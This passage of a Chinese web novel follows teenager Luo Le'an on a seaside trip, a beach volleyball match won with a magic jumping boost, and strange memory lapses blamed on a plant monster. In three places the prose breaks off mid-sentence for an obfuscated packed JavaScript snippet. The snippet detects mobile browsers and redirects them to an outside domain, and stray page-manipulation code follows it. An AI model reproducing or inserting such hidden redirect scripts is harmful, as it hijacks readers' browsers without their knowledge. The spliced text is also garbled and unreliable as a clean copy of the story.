说完,她也没管混乱的客厅,径直回了房间甩上门。 和胡女士这番不愉快的谈话严重影响到了罗乐安的状态,一开始是生气,后来越想越郁闷,不仅郁闷,还委屈,以至于做什么都提不起兴致。 包括去寻找新的谵蘖。 不过他这么消停,胡女士喜闻乐见,温朗却是忧心忡忡。 于是,在结束了五天的补课后,他给罗乐安发出了邀请。 “去海边?” 19. JASMINE① 艳阳当空,万里无云。 碧蓝的海面像一块华贵的绸缎,在天地间平铺开来。 米白色的沙粒均匀细密,被阳光晒得暖烘烘的,赤脚踩上去有一种踏实而温热的松软感。 海风并不大,带着海水特有的咸湿气息,可当拂过裸露的皮肤时,却并未留下丝毫的凉意。 八月,是一年当中最热的时候。 同时,也是最适合下海玩耍的时间。 浪花不急不慢地涌上沙滩边缘,舔舐着沙岸,发出“唰啦——唰啦——”的声响。 而当潮水褪去时,湿润的沙地上只留下散落的贝壳和石子儿,犹如大海遗落的珍宝。 许是日头还高,沙滩上的人不算太多,几个岁数不大的小豆丁正蹲在近水处,头戴遮阳帽,专心致志地用塑料铲子挖着沙坑,笑声清脆,被海风裹着传开。 稍远一些的地方,一对对年轻情侣坐在遮阳伞下,或是低声说笑,或是合影留念,气氛分外和谐。 倒是在更远处的沙滩那里,火药味开始蔓延。 “……那分组就这么定了,我们俩一组,你们几个女生一组,都没意见吧?” 一个身材高壮、皮肤黝黑的男生,一手掂着沙滩排球,一手搭在温朗肩头,如是说道。 然而他的“独断专行”并没有得到其他几个人的认可。 温朗:“抱歉,靠太近了,好热。” 任穗:“当然有意见了!” 常映月:“很大。” 温霁:“而且,重点是——” 罗乐安:“你管谁叫‘女生’啊!!!” 最后发言的罗乐安两手叉腰,整个人气成了河豚。 他不惜屁屁死掉、坐了六个多小时的车到海边来,可不是 两天前,暑假的第一轮补课结束了,就在当晚,温朗在楼下碰到在外面吃完晚饭回来的的胡女士跟罗乐安时,提出了去海边放松的想法。 “去海边?” 胡女士小口吃着黑芝麻甜筒冰淇淋,眉头轻轻蹙起。 “可是你们已经高三了,时间这么紧——啊,阿姨没说你,主要是这臭小子——还是别到处乱跑,在家安心学习比较好吧。” 一旁的“臭小子”闻言,腮帮子不满地鼓了起来。 对于胡女士之前那个不让自己参与甚至关注魔法使相关的恶劣态度,他的确是很生气的。 不过他这个人气性大,忘性也大,再大的火气也只持续了两天,就是因为一直没台阶,加上每天都要做超级多的卷子,所以才跟胡女士一直僵持着。 原本他都打算趁着放假缓和关系,要不然也不能主动提议今晚出去吃饭。 本来一切都在朝着好的方向发展,胡女士甚至都请他吃冰淇淋了,结果一句“到处乱跑”,将表面的和谐又打破了,河豚重新现世。 温朗见罗乐安气得鼓鼓囊囊的,不觉得轻笑出声。 “胡阿姨,没关系的。” 他伸手拍了拍罗乐安的脑瓜顶,眼角笑意盈盈,“乐乐这几天很用功,昨天的数学卷子准确率有80%,成绩非常好,稍微放松几天也没关系,我看着呢。” “真的假的?”胡女士一双鹿眼瞪得溜圆,连融化的冰淇淋流到手上都没心思管。 “他数学成绩不是总在及格线徘徊吗?这才补习了多久啊?” 总结下来就俩字,不信。 而这种态度让罗乐安“鼓”得更厉害了,好在有温朗在,及时安抚住手底下那颗即将炸毛的脑袋。 “当然是真的。我之前不就说过吗?乐乐很聪明的,只要心思放在学习上,进步很快的。” “他的心思……真放在学习上了?” 胡女士还是有些狐疑。 “当然了,这几天每天晚上的补习都特别有效率,十点前就能完成作业,是吧,乐乐?” “哼!” 罗乐安傲娇地扭过头,倒是也没否认。 因为温朗说的都是真的,他最近几天的确十分用功。 毕竟为了不让自己的情绪乱飞,他只能把精力投注到学习上。 至于为什么不私下再去“巡逻”,除了有胡女士看得紧这个原因之外,还有一点,是他并不真的就想跟自己母亲对着干——来日方长,没必要非得在这个节骨眼挑衅。 最后,温朗还是说服了胡女士,让她同意罗乐安跟着温家兄妹一道去了隔壁汐语市。 而且两天后动身的只有这两大一小三个孩子,因为胡女士和温家父母都有事脱不开身。 不过两家的大人,也没真的心大到就这么放心让三个未成年自己去陌生城市待三天两夜,主要是温朗的舅舅就在汐语市开民宿,他们过去玩也算是“专业对口”了。 其实温朗原本是计划就自己跟罗乐安两个人来玩的,结果没想到在收拾行李的时候被温霁发现了,死活要跟着一起来。 他第一反应就是拒绝,可谁成想这个小丫头片子直接绕过了自己,转头去抱罗乐安的大腿。 “嘿嘿~老哥你舍得拒绝大乐的请求吗?” 看着温小葵小人得志的嘴脸,温朗努力许久才没有人设崩坏揍妹妹,最终也还是答应带上了这个电灯泡。 反正等到了地方,这个小麻烦就归舅舅管了。 温朗是如此打算的,奈何也不知道他是不是踩了灯泡厂,小灯泡还没送出去,就迎来了三个大灯泡。 其中两个,是在他跟罗乐安办理完入住手续去房间的时候,在房间门口的走廊碰到的。 “乐乐?” 罗乐安刷了房卡,正要推门,就听到身后传来了一个熟悉的女声,转头一看,果然是熟人。 “老穗!凛酱!你萌怎么来了呀?” 他抛下行李和温朗,兴冲冲地和两个小伙伴转起圈圈。 “我外婆家在这儿,昨天一放假就过来了。小月是跟她妈妈过来参加婚礼的,顺道还要玩几天,我知道以后就过来陪她一起住啦~你呢?你跟朗哥来度mi……咳,度假吗?就你们两个吗?” 任穗摇头晃脑,扎着双马尾的脑袋兴奋得就像一面拨浪鼓。 “没,还有一个人,阿朗的妹妹也跟我们一……” “臭哥哥!你又不等我!还把这——么大的行李箱丢给我!” 罗乐安的话被打断,温朗一边伸手伸手将那个只有14寸的“巨大”行李箱拉了过来,一边解释道:“刚刚不是你一定要在楼下和小表妹玩,让我们不用等你的吗?” “我就是那么说而已呀!臭哥哥你真是不懂女孩子,你知不知道……咦?” 温霁的抱怨在看到跟自己一样双马尾发型的任穗后,戛然而止。 唔? 一大一小默契地歪着脑袋打量着对方,许久之后,又默契地同时伸出手,摸了摸对方的脸。 “哎呀~妹妹真可爱~” “诶嘿嘿~姐姐更可爱~” 由于任穗 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16070807|176346||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 和温霁一见如故,所以几个人在放好行李之后,就相约去了民宿隔壁的一家海鲜大排档吃午饭。 然后,温朗就遇到了另一个大灯泡。 “服务员,麻烦拿下菜单。” “好的,您……罗乐安?” “熊哲?” 于是,这顿午饭就变成了六人行。 熊哲,虽然名字很文气,但真人从气质到长相,都和文气丝毫不沾边,又黑又高又壮,更像是个体育生。 不过除了外表,他也就只有职务跟“体育”两个字沾边。 没错,熊哲是罗乐安班上的体育委员,可是在高中时期当体育委员,除了组织课间操,其他时候的功(存)能(在)性(感)约等于0。 咳,扯远了,说回当下这顿午饭。 “你是说,这家店的老板是你叔叔啊?” “对,我二叔的店,我趁着放假过来给他打工赚点零花钱——对了,店里的海鲜焖子味道很好,还有鲅鱼水饺和丸子汤也很不错……” 由于有熊哲这个内部人员在,这顿饭不仅享用了内部价,而且完全没有踩雷。 也因此,尽管罗乐安几人原本跟熊哲并不算特别相熟,一顿饭下来,关系也变得热络了许多。 然后,在午饭结束后,熊哲提议进行一场沙滩排球比赛来帮忙消食。 当然,这个提议在一开始是遭受到了全票反对的。 任穗:“大热天的!下午两点!晴空万里!紫外线指数爆棚!” 罗乐安:“我们是有多想不开,不在屋里吹空调,非跑到外头顶着大太阳汗流浃背!” 温朗:“确实,太不理智。” 常映月:“嗯。” 温霁:“而且就算要出去玩,我为什么不下水呢?对了老哥,等下记得帮我吹游泳圈哦,酷洛米的那个~” “你们这样不行啊!” 熊哲将鸭舌帽的帽檐向后一转,就像是打开了热血开关似的。 “空调是舒服,可是吹久了对身体并不好,哪有温柔的海风来的好! “而且多晒太阳还可以补钙,可以长高,你们这些小个子难道不心动吗? “十七八岁的年纪,就应该热血一点,冲动一点,要那么多理智做什么! “对了,未成年没有监护人陪着的话,不能下水。” …… 尽管熊哲的演说很热血,可罗乐安其实并没有听进去多少,刚吃完午饭正是血糖高涨的时候,他打了个呵欠,无意识地看着窗外,整个人昏昏欲睡。 这个时间点一天之中最热的时候,路上的行人并不多,而且就算经过也都是行色匆匆,不敢多待。 而这也导致那些从罗乐安眼前经过的人影,就像是晃动的钟摆一样,更催眠了。 直到一个穿着黑色T恤的身影出现在视野里,他撑着下巴的手一晃,一下子就醒了。 主要是那个黑衣男人并不只是经过,而是停在了饭店对面的冰淇淋摊前,纠缠了好久,打破了原本的“规律”。 不过清醒也只有短短一瞬,耳边的嘚啵嘚还在继续,很快他的眼皮就又开始打架了。 而就在眼皮完全撑不住的时候,他闻到了一股浓郁又香甜的气味,就觉眼前一黑,再睁眼时,人已经到了室外,转过头,一旁就是沙滩排球的球网。 嗯? 奇怪。 他怎么会突然出现在这里? 难道……梦游了? 20. JASMINE② 事实上,觉得自己梦游的并不只罗乐安一个人。 其他几个,包含最为冷静沉着的温朗,都不是很清楚自己到底是怎么就答应到外面来的。 唯一清醒不蒙圈的,只有熊哲。 “你们为什么会出来?因为你们答应要来一场充满激情与青春的沙滩排球比赛啊,所以我就带你们过来了。” 看他信誓旦旦的模样,其他五个人抿了抿嘴,默契转身围成一圈,开始开“碰头会议”。 罗乐安:“谁答应的?反正肯定不是我,他刚刚还暗搓搓说我矮呢,我这么记仇,绝对不可能答应!老穗,该不会是你吧?” 任穗:“怎么可能!我只是偶尔疯,不是一直傻好吗!以及,他说的‘小个子’可能指的是我。 罗乐安·对号入座版:“……” 任穗·粉饰太平版:“咳,那是你吗,小月?” 常映月:“……不是。” 温朗:“我也没印象——温小葵,是不是你?” 温霁:“老哥,虽然我没你聪明,但你不能这么侮辱我。” 一圈下来,到底是谁答应的、怎么答应的,依旧还是一个未解之谜。 然而,人既然已经从室内出来,想回去就没那么容易了。 因为有位“演说家”一直喋喋不休,成功用精神攻击阻拦他们回到室内的脚步。 于是,他们几个最后还是参加了沙滩排球比赛。 倒不是他们突然对这项运动产生了兴趣,也不是被熊哲的Pashion打动,纯粹是——有利可图。 “光比赛好像的确缺了点什么,那我添个彩头好了。这里有三张‘命运纺车占卜屋’的预约券——那家店超火的,没有预约券的话要排队等上大半天都还不一定能进去——赢的那队就能得到,怎么样,心动吗?” 罗乐安、任穗和温霁,的确是心动了。 可提供奖品的和参赛的是同一方,怎么想都觉得很怪——这个比赛非打不可吗?直接送不行吗? 不过尽管他们满腹牢骚,到底还是同意了。 因为这种乱七八糟的故事发展,还是很符合他们这群奇奇怪怪人物的设定的。(误) 只是虽然他们愿意配合熊哲的安排,却不料在分组这个步骤,几个人就已经想要拆伙了。 5:1的那种。 任穗:“为什么是四对二啊?” 温霁:“穗穗,不是我谦虚,我只能算半个,是三点五对二啦。” 罗乐安:“所以,到底是为什么要把我归到女生队啊!” “因为我跟温朗加一起就已经很强了啊,对面如果再少个人,那不就相当于被压着打了吗?所以为了公平……” “没关系,还有更加公平的分组方式。” 看熊哲满脸认真,温朗挑了挑眉,左跨一步从对方身边挪开,又向前走了几步,继而转过身。 “我过来,这样就是四对一点五。” 这话说完,其他几人都有点懵。 “四”他们懂,“一”他们也明白,可这个“点五”是指…… 然后下一秒,温朗一把拎起温霁,将人扔到对面。 “点五”的归属,就此分明。 这次的分组得到了4:2的压倒性胜利——其实任穗对温霁稍稍有那么一些于心不忍,但是良心到底还是没压住想看乐子的心思,心里默默给温霁画了个十字后,她跟常映月乐颠颠地跑到了罗乐安和温朗的身后。 没错,这场比赛看似是4VS1.5,其实到头来还是2VS1。 加油啊,乐乐! 任穗站在边线的阴影处,双手握拳,在心里默默给罗乐安加油打气。 我们小个子星人的荣耀,就要靠你了! 被寄予厚望的罗乐安,此时已经脱了开衫,正跟着温朗在进行热身活动。 球场的位置正对着熊哲叔叔的店,中间只隔了条不能过车的人行道,距离不算远,因而楼梯的影子刚好投射在球场上,不会太晒。 只是热量并没有因此而隔绝掉太多,罗乐安赤脚踩在沙粒上,依旧能感受到一股灼热感。 虽然不至于烫到跳脚,但一样不容小觑。 好在不远处花箱里的茉莉花散发的阵阵清香,渐渐抚平了他心里的烦躁。 而且在活动了几分钟,适应了这种像是在“无水泡脚”的温度后,他竟然也感受到了几分舒适感。 “感觉……像是在脚底板贴了一剂三伏贴,胡女士要是知道了,一定很开心。” 温朗被他的话逗笑了。 因为罗乐安苦三伏贴久矣,可从9岁因为贪凉连吃三根雪糕结果闹了一周肚子之后,就被他妈胡女士每年硬逼着贴三伏贴,怎么哭闹都赖不掉。 可问题是,胡女士自己本身也是个贪凉的人,还喜欢嘚瑟,最喜欢在亲儿子被烫得嗷嗷叫的时候,在一旁舔冰淇淋。 这也算是这对母子的“宿怨”了,也是温朗每年都要欣赏一遍的大戏。 所以在听到罗乐安这么说后,他脑海里自动就浮现出了往事一幕幕。 “刚好中伏那贴还没贴,要不我帮你录下来,发给胡阿姨,直接抵掉?” 罗乐安闻言,眼睛先是亮了一下,紧接着眼角又耷拉了下来。 “算了,胡女士没那么容易糊弄,反而还会又给她递了一个笑柄。” 一想到胡女士知道自己被沙子烫得跳脚后笑得人仰马翻的模样,他就不自觉地鼓起了腮帮子。 “那就先好好玩,等下赢了比赛,晚上可以去山后那片海看‘蓝眼泪’,我在网上看了攻略,这几天晚上应该都有。” “诶~” 听到温朗的话,罗乐安的郁闷立马消失无踪。 “就是那个夜光藻吗?超级美的那个!” “对,当然,实际上这是一种水污染,赤潮现象,地理上你应该学过,这说明汐语市今年的污染防治工作……” “停——” 罗乐安一把捂住了温朗破坏气氛的嘴巴。 “别逼我在这个节骨眼上跟你绝交。” 温朗闻言,弯眼笑笑,及时咽下嘴巴里面扫兴的“文综试卷参考答案”。 “话说,”罗乐安松开手,一边蹲下身压腿,一边看着网子对面干劲十足的熊哲,问道,“这家伙为什么一定要玩沙滩排球啊?以前没看出来他对这项运动有多热爱啊。” “因为,有利可图吧。” “诶?” 这次不止罗乐安,连一直竖着耳朵偷听的任穗都顾不得热,拉着常映月一齐凑了上来。 “什么利?图什么?” 温朗也没卖关子。 “刚刚吃饭的时候,我看到店里面贴了一张沙滩排球加海边烧烤的预约海报,估计这个球场是熊哲叔叔开发维护的,顺便也能给店里招揽生意。不过这几天有多热大家都清楚,所以我猜并没有什么人有玩这个的需求,然后刚好我们就来了,那个球场弄都弄了,与其放在那里白白浪费,不如用我们打场‘表演赛’,俊男靓女的,玩不好也有玩不好的乐趣,反正是可以宣传一波。” “哦……” 任穗眯起眼睛,点点头,语气不善,“所以我们都是‘工具人’啊……” “没关系。” 罗乐安站直身子,活动着手腕和肩膀,圆圆的脸上满是杀气。 “你跟凛酱就负责想等下要‘敲诈’熊哲什么东西就好,至于比赛,就交给我跟阿朗好了!” 他燃起了前所未有的斗志! 不管对方图什么,他都要连本带利全部拿回来! Power! 这其实并不是罗乐安在盲目自信。 尽管沙滩排球这东西他之前从未接触过,只有每隔四年,才会在奥运转播上偶尔看一眼,因此规则只知道个大概。 不过反正他们几个也只是随便玩玩,所以最终只要对方接不住球就行了,其他不重要。 而且除了模糊的规则外,罗乐安还有别的优势。 他有挂。 球场的另一侧,熊哲正在做准备活动,一旁的温霁则是叼着一根牛奶棒棒糖,气鼓鼓地坐在角落里,右手食指在地上画了四个圈圈,诅咒对象不言而喻。 不过温霁的怨念并没有影响熊哲的状态。 尽管被加塞了一个很可能拖后腿的豆丁“0.5”,但他依旧对这场比赛的胜利势在必得。 因为他很清楚,这场比赛表面上是4VS1.5,实际上就只是自己跟温朗一对一。 温朗的确很强,各方面的强,这点他承认,不过没有人是完美的,是人总有没接触 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16086972|176346||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 过的领域。 湖灵市不靠海,更加不会有沙滩,像沙滩排球这种运动在日常生活里自然也就接触不到,而他几乎每个暑假都会来二叔这里打工,沙滩排球这东西虽然达不到精通,可也足够熟悉,对付外行人肯定没什么问题。 结果,他竟然被原本并未放在眼里的罗乐安,频频盖帽。 没错,是排球,而且是在沙滩上,平地起跳,盖帽。 小小一只竟然跳那么高,也不知道是吃了多少弹簧! 罗乐安的肚子里当然没有弹簧,可是他有丧丧。 是的,他的挂就是丧丧。 这是他前几天刚发现的功能,当时他因为无聊,趴在床上摆弄丧丧,结果发现游戏机的背面多了个按钮,询问之下,得知这个可以让自己短暂继承变身后20%的身体机能。 也就是说,就算维持原貌,他也可以做到一蹦十……不,两米高。 尽管一次只能维持20分钟,CD时间是12个小时,但已经足够厉害了。 今天之前,罗乐安一直没想好这个功能要什么时候用——毕竟他行侠仗义的理念和怪盗并不相同——不过此刻,他终于等来了最佳时机。 于是,明明开赛之后才过了十几分钟,比赛却已经接近了尾声。 “乐乐,你……弹跳力什么时候变得这么好了?” 温朗看着落在自己身后的罗乐安,眸色变得有些深沉。 而原本在一旁专心偷看校草藏在无袖T恤下、偶尔露出的腹肌的任穗,这时也收起了口水,呆呆注视着自己的好朋友。 在此之前,她一直以为罗乐安跟自己一样,除了体力好耐力强,可以连逛三天漫展不腿软以外,就只是一个平平无奇的小宅男。 没想到啊,没想到! 自己竟然判断错了故事类别,原来这不是普通的校园漫,而是——热血运动番! 就是主角的人设不太符合传统设定,既不是酷拽的天才,也不是蒙尘的明珠,只是一个喜欢嘚瑟的二货。 “就……上次发烧之后,我就觉得自己身轻如燕啦~不过这个很耗费体力,我估计支撑不了多久。” “没关系,”温朗撩起下摆擦了擦额头上并不多的汗珠,“还差两分就结束了,熊哲应该是没什么机会扳回来了。” 虽然体力消耗并没有太多,但是心态快崩了。 球场另一边的熊哲擦了擦差点流到眼睛里的汗水,有些气郁。 这种情况,根本吸引不到什么顾客嘛,那他也就拿不到自己的酬劳,费这么大功夫就全都白忙了。 那可不行! 为了自己的零用钱,拼了! 熊哲几个深呼吸后,重新定神,斗志也再次燃起,在罗乐安因为过于兴奋导致用力过猛出界后,他终于得到了发球权。 这一球,可以说是凝结了他全部的力量和决心。 罗乐安也没料到,明明都已经快赢了,对方竟然还能发出这么有力量的球。 而无论他体力有多好,跳得有多高,力量依旧是没法改变,所以尽管他勉强接球,球却因为速度太快而被弹飞。 “啊!” 他下意识喊出声,却见那颗球并没有就此落地,而是在空中被人截住,径直扣在了对方的场地内。 Safe—— “阿朗!”罗乐安雀跃转身,两只眼睛亮晶晶的,“好棒!” 温朗又掀起衣服擦汗,“没给你丢人就好。” “嘿嘿,怎么可能丢人呢!爱你哟~” 说着,罗乐安头顶的大毛跟二毛微微一动,比了一个歪着的“爱心”。 一旁观战的任穗双手捧脸,抿着嘴打量着这俩人,脑袋则开始飞速转动。 罗乐安没有注意到好友开发进行时的脑洞,他开始专心准备下一球的发球。 只要再拿下一分,就能赢得占卜屋的预约券,还可以对熊哲进行惨无人道的“拷问”! 最后一分! 越想越激动,罗乐安起跳的动作都比之前要更大,阳光打在他的眼睛上,让他视线一阵恍惚。 不过没关系,他已经可以凭感觉打中球了。 他高举的右手在空中狠狠一挥—— 啪! 不对。 球的手感,怎么变得这么奇怪? 21. JASMINE③ 冷冷的。 软软的。 黏黏的。 怎么想都不是之前那颗沾满了沙粒的硬邦邦的排球啊! 罗乐安眨眨眼,醒过神来,低头就瞧见右手上面沾着奶白色的液体,而就在他左前方不远处,有一个掉在了地上的甜筒。 难道,刚刚他打中的,就是这个? 念头刚起,下一秒,就有人证实了他的猜想。 “那个……我们的冰淇淋没有问题的,您、您……” 是冰淇淋摊的小姑娘,和他们几个差不多的年纪,大概也是暑期工,此刻眼圈都红了,估计是被刚刚罗乐安的举动给吓着了。 而罪魁祸首也被这个委屈的女声弄得手足无措,甚至都没来得及思考为什么明明上一秒还在球场,这一秒就已经在买甜筒,全部心思都只顾着道歉了。 “我我我……我不是故意的,对不起,我、我刚刚就是打球打懵了……” 他环顾左右,发现温朗几个人也都在,手里各举着一根甜筒,皆是神色略带迷茫地盯着他瞧。 “我,我再买一根,麻烦你重新打一个吧,谢谢。” 说着,罗乐安掏出手机,扫码付款。 然后他就看到消费明细里,大概在五分钟前,有一个18元的付款记录。 所以,刚刚是他请客吃冰淇淋? 可他怎么一点印象都没有了? 事情,好像不太对劲。 这已经是第二次了。 之前他以为是太困了,所以才无意识答应了比赛,但是这一次,他的记忆明明停留在赛点的发球上,之后的记忆,却完全都是空白的。 是只有他,还是…… 罗乐安神色凝重地接过全新的甜筒,跟着其他人一起回民宿。 前面任穗和温霁正在“敲诈”熊哲。 似乎刚刚的比赛的确吸引到了两伙人预定了海边烧烤和排球场,而这也意味着作为表演赛的“主谋”之一,熊哲得到了一笔价值不菲的收入。 最终,后者因为理亏,答应今晚请吃海鲜烧烤。 看着雀跃的女生组,同样是吃货的罗乐安却难得没有跟着一起欢呼。 他隔着布料捏了捏兜里的丧丧,转头看向走在自己身侧的温朗,抿了抿嘴,漫不经心地试探。 “刚刚,我那最后一球,帅吧?” “当然啦,乐乐一直都很帅!” 温朗扬起嘴角,很捧场,而且说得真情实感,完全没有敷衍的感觉。 这让罗乐安对自己的判断又产生了动摇,只是他还并未死心,想了想,他又开口道:“那你详细夸夸我那决定胜负的最后一球,我要小作文,辞藻越华丽越好,最好是洛神赋的那种。如果夸得好,我就再买个甜筒给你,附带辣条哦~” 这话让温朗笑得更开心了,只不过在他开口准备彩虹屁的时候,嘴角的笑容凝滞了。 “额……” “……怎么了?” “嗯……有点奇怪,我好像……想不起来你最后一球具体是怎么打的了。” 看到温朗脸上露出了少见的无错表情,罗乐安心里有些烦闷,但他难得没上脸,维持住了表面的冷静。 “大概是,太热了吧……算了,我们先回屋洗澡,小作文之后再说——身上都是汗,难受死了。” 他的台阶自然且不OOC,所以温朗也并没看出什么问题,只是将手里的棒球帽扣在了对方的脑袋上,也因此没看到帽檐下面,后者抿嘴凝重的神情。 罗乐安的眉头一直拧着,就算进了浴室都还没松开。 是谵蘖在搞鬼,这点他很清楚。 而且中招的不止他一个人,不过他大概是有魔法的缘故,中招程度不深,所以才能察觉到异样。 可是这一带大概是网红景区的关系,各家各店门前都种了不少花花草草,植物繁多,他根本就判断不出有问题的到底是哪个。 还有—— “之前是声音攻击,再之前是血盆大口,这次又改……失忆?可是它是怎么让人失忆的呢?又为什么要让我们失忆呢?” 他站在莲蓬头下,一边冲水一边自言自语,念叨来念叨去,依旧是毫无头绪。 至于丧丧,根本指望不上。 除了在一开始,对谵蘖的猜测发热了一下表示肯定,之后就“死”得透透的,可以说是将摆烂精神贯彻到底。 “……乐,乐乐,还没好吗?” 门外传来了温朗的声音,罗乐安猛地回神,着急忙慌关上水龙头,随便扯了条毛巾围在腰间就出去了。 然后一出门,就被空调的冷气激得打了个喷嚏。 “阿嚏!” 听到动静,原本坐在床边看手机的温朗抬起头,见到几乎是光着身子的罗乐安后,呼吸先是一滞,紧接着皱起眉头,抬手关掉空调,继而起身,疾步走到卫生间,拿了新的浴巾和毛巾出来。 “怎么水不擦干就出来了?也不怕感冒!” 说着,他将浴巾展开披在对方身上,又将毛巾罩到面前这颗毛茸茸的脑袋上,开始给人擦头发。 “我听到你喊我,我以为你等不及了嘛……” 罗乐安的话隔着毛巾,听起来瓮声瓮气的。 温朗闻言,眼睛半阖,掩起眼眸中的晦涩深意,手上的动作倒是没停。 “我是担心你太累了,在里面发生意外——刚刚我都没怎么出力,哪里就等不及了。” “那也热呀!” 伸手将头顶的毛巾拽了下来,罗乐安把人往浴室里推。 “你快去洗澡吧,我自己会擦,放心放心,我又不是小孩子了~” 听到他的话,温朗也没反对,拿着换洗衣服就进了浴室。 见他没再坚持,罗乐安叹了口气,用毛巾随手抹索了几下头发,之后也不管有没有彻底擦干,径直倒在了床上。 他还在想谵蘖的事。 这里是海边度假区,人流量和商场差不太多,甚至因为占地面积更广,晚上的人口稠密度甚至会更高。 “希望别出什么大乱子才好……” 将毛巾盖在脸上后,他喃喃自语着,语气中难得透出了些忧虑。 然而他的担心并未持续太久,因为他突然感觉到浑身上下酸软无力,特别是腰腿那里,完全使不上力。 难道,这也是谵蘖做的吗? “丧丧……” 罗乐安费劲地“匍匐前进”,终于够到了放在床头的挂坠,正要开口求助,丧丧无机质的声音却先一步响起。 「和谵蘖没关系,是新功能。」 “新功能?” 不就是吃了二十分钟弹簧吗? 时间早就到了啊! 「CD时间十二个小时。」 “……” 好嘛! 感情这个CD不是指功能被禁,而是指他要瘫痪12个小时——简直是对游戏行业术语的革命性颠覆。 罗乐安都气笑了。 丧丧,你的丧是丧尽天良的丧啊! 只是事到如今,骂再多也于事无补。 “啊——” 一想到只能硬挺过去,他就再也抑制不住烦闷的心情,没忍住嚎了一嗓子,结果怨气没发泄出去,反倒是把正在洗澡的温朗给吓了出来。 “乐乐!你怎么了?!” 刚刚罗乐安出来的时候虽然也急,可 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16097816|176346||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 好歹还围了条毛巾,谁料温朗比他更急,听到叫声后水龙头都没来得及关,直接光着身子就冲了出来。 “哎呀!你好歹围个毛巾呀,还说我呢!” 瘫在床上的“残疾人”也被惊到了。 两人小时候的确是没少一起洗澡,可从上了初中之后就鲜少再这样。 虽说他俩都是大老爷们,看光也没什么,但是罗乐安还是下意识会感觉不好意思。 主要是对方身材太好,身形高挑,肩臂和腰腹的肌肉线条也流畅好看,比自己不知道强出多少倍。 咳,反正他绝对不是因为自惭形秽才闭眼睛的。 见罗乐安的表现不像是出了什么事,温朗松了口气,随手抄起椅背上罗乐安之前擦头发的那条毛巾,一边擦,一边回浴室。 过了大概两分钟,他收拾整齐走了出来。 “我是担心你。”他用了一条新的干毛巾擦着头发,嘴里则是在解释自己刚刚的冒失。 “你冷不丁突然喊那么一嗓子,谁都会第一时间冲出来吧——刚刚喊那么大声,到底怎么了?撞到了吗?” “没有啦……” 罗乐安艰难地撑着左手翻了个身,变成了一只“仰壳小乌龟”。 “我就是,浑身酸痛……大概是之前,跳太狠了……” “真没事吗?” 温朗伸出手探了探他的额头,“用不用找人来看看?” “不用不用!” 听到这话,罗乐安摆摆手,看了眼手机上的时间,“等到明天早上就不会疼了,你放心好了~” 虽不知道他为何语气会这么笃定,可运动完后身体酸痛这件事本身也很正常,因而温朗并没多想。 不过由于罗乐安现在是瘫痪状态,所以无论是烧烤,还是去后山看“蓝眼泪”的计划,都被延后了。 好在丧丧大部分时间的确不靠谱,但一些客观信息还是准确无误的,说12个小时就12个小时,一分钟都没耽搁,凌晨两点三十七分,疼了几乎整晚的身体突然松快,熬了大半宿的罗乐安也终于能睡个安稳觉了。 只是尽管他睡得晚,醒的时间倒是跟往常差不多,不到七点半,生物钟就掀开了他的眼皮,而当他缓了几分钟从床上坐起来时,温朗已经洗漱完毕从卫生间出来了。 “怎么这么早就起来了?身体还疼吗?” 罗乐安晃了晃脑袋,头顶的大毛和二毛也被摇得绞成一股,又在晃动停止后松了开来,而人也在这时完全清醒了过来。 “不疼啦~” 他跳下床,活蹦乱跳地冲进卫生间,没一会儿就又冲了出来,从行李箱里翻出一件小黄鸭的无袖连帽衫套上,紧接着就兴冲冲地拉着温朗往屋外跑。 “干、干嘛去?” “占卜屋呀!据说每天限量都要排好久的队,当然要早点去!” 罗乐安此举,与其说是中二病,倒不如说是病急乱投医。 既然这个世界上真的有魔法使,那有个灵验的占卜屋也不是没可能的,说不定能问出些关于谵蘖的消息。 见他兴致如此高昂,温朗也不好扫兴,便也没提这个时间占卜屋应该还没开门的事。 不过现实是不会因为他不想就轻易改变,当两人擦着汗赶到占卜屋时,迎接他们的只有一块“歇业中”的牌子。 “十点才开门?那还有两个小时,怎么这样……” 罗乐安嘟着嘴,跟温朗抱怨着,只是话还没说完,面前那扇原本紧闭的门,突然发出“吱嘎”一声,竟然缓缓向里打开了。 与此同时,一个雌雄莫辨的沙哑声音从屋内传了出来。 “欢迎光临,纺车即将为你编织命运之线。” 22. JASMINE④ “欢迎光临,纺车即将为你编织命运之线。” 突然洞开的门,无机质的沙哑声音,还有故弄玄虚的开场白,让罗乐安即使是在艳阳高照的夏天,背后也不禁寒毛竖起,生出阵阵凉意。 于是他下意识抓住了温朗的胳膊,绷着张小脸,头顶的呆毛也跟两根天线一样,警惕地转动着。 